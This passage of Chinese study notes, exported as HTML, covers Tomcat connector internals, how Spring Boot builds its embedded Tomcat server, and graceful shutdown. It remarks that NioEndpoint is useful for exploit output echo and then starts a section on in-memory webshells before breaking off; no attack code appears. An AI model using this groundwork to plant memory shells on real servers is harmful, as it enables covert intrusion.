12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;"> </span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="">这里要注意，NioEndpoint这个后面做tomcat回显时候可以用到</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Processor：Coyote协议处理接口，负责构造Request和Response对象，并且通过Adapter将其提交到Catalina容器处理，是对应用层的抽象。Processor是单线程的</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">UpgradeProtocol：Tomcat采用UpgradeProtocol接口表示HTTP升级协议，当前只提供了一个实现（Http2Protocol）用于处理HTTP/2.0。Tomcat中的WebSocket也是通过UpgradeToken机制实现的</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Calibri;">spring+tomcat</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">Spring容器在容器启动的时候，会调用</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="">WebApplicationType.deduceFromClasspath()</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">方法来推断当前的应用程序类型,当我们在项目中添加了</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="">spring-boot-starter-web</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">的依赖之后，项目路径中会包含webMvc的类，对应的Spring应用也会被识别为Web应用</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">Spring可以判断出当前应用的类型，之后Spring就需要根据应用类型去创建对应的ApplicationContext</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">对于我们关注的普通web应用，Spring会创建一个</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="">AnnotationConfigServletWebServerApplicationContext</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">。容器中必定包含了servlet容器的初始化</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// 创建Tomcat容器的WebServer</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">webServer</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> factory</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getWebServer</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSelfInitializer</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">());</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">在Spring容器启动的时候会初始化WebServer，也就是初始化Tomcat容器</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">初始化Tomcat容器的过程中，第一步是获取创建Tomcat WebServer的工厂类TomcatServletWebServerFactory，分析源码可知，Spring是直接通过Bean的类型从Spring容器中获取ServletWebServerFactory的，所以Tomcat容器类型的SpringBoot应该在启动时向容器中注册TomcatServletWebServerFactory的实例作为一个Bean</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">拿到用于创建WebServer的ServletWebServerFactory，我们就可以开始着手创建WebServer了</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">创建WebServer的第一步是拿到创建时需要的参数，这个参数的类型是ServletContextInitializer，ServletContextInitializer的作用是用于初始化ServletContext，接口源码如下，从接口的注释中我们就可以看到，这个参数可以用于配置servlet容器的filters，listeners等信息</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">Spring是通过getSelfInitializer()方法来获取初始化参数，查看getSelfInitializer()方法，可以发现该方法实现了如下功能：</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">绑定SpringBoot应用程序和ServletContext；</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">向SpringBoot注册ServletContext，Socpe为Application级别；</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">向SpringBoot上下文环境注册ServletContext环境相关的Bean；</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">4.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">获取容器中所有的ServletContextInitializer，依次处理ServletContext</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">获取到用于创建WebServer的参数之后，Spring就会调用工厂方法去创建Tomcat对应的WebServer</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">从下面初始化Web容器的代码可以看到，Spring容器会注册两个和WebServer容器相关的生命周期Bean：</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">容器的优雅关闭Bea——webServerGracefulShutdown。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">容器的生命周期管理的Bean——webServerStartStop</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getBeanFactory</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">registerSingleton</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;webServerGracefulShutdown&#34;</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">WebServerGracefulShutdownLifecycle</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">webServer</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">));</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getBeanFactory</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">registerSingleton</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;webServerStartStop&#34;</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">WebServerStartStopLifecycle</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">this</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">webServer</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">));</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">如果直接使用kill -9 方式暴力的将项目停掉，</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">大致需要解决如下问题：</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">首先要确保不会再有新的请求进来，所以需要设置一个流量挡板</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">保证正常处理已进来的请求线程，可以通过计数方式记录项目中的请求数量</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">如果涉及到注册中心，则需要在第一步结束后注销注册中心</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">停止项目中的定时任务</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">停止线程池</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">关闭其他需要关闭资源等等等</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">Spring提供Tomcat优雅关闭的核心类是WebServerGracefulShutdownLifecycle</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">关闭Tomcat容器的所有的连接器，连接器关闭之后会停止接受新的请求。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">轮询所有的Context容器，等待这些容器中的请求被处理完成。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">如果强行退出，那么就不等待所有容器中的请求处理完成。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">4.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">回调优雅关闭的结果，有三种关闭结果：REQUESTS_ACTIVE有活跃请求的情况下强行关闭，IDLE所有请求完成之后关闭，IMMEDIATE没有任何等待立即关闭容器。</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:springtomcat;"><span style="font-family:Cambria;">Spring容器在启动的时候会向JVM注册销毁回调方法，JVM在收到kill -15之后不会直接退出，而是会一一调用这些回调方法</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="font-family:宋体;">内存马</span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Calibri;">tomcat调试</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">调试进入tomcat（org.apache.catalina.core）需要将tomcat下lib文件夹内容加到项目lib库中</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;"><img data-ratio="0.44642857142857145" style="width:553.8084106445312px;height:250.24000549316406px;" data-type="png" data-w="560" 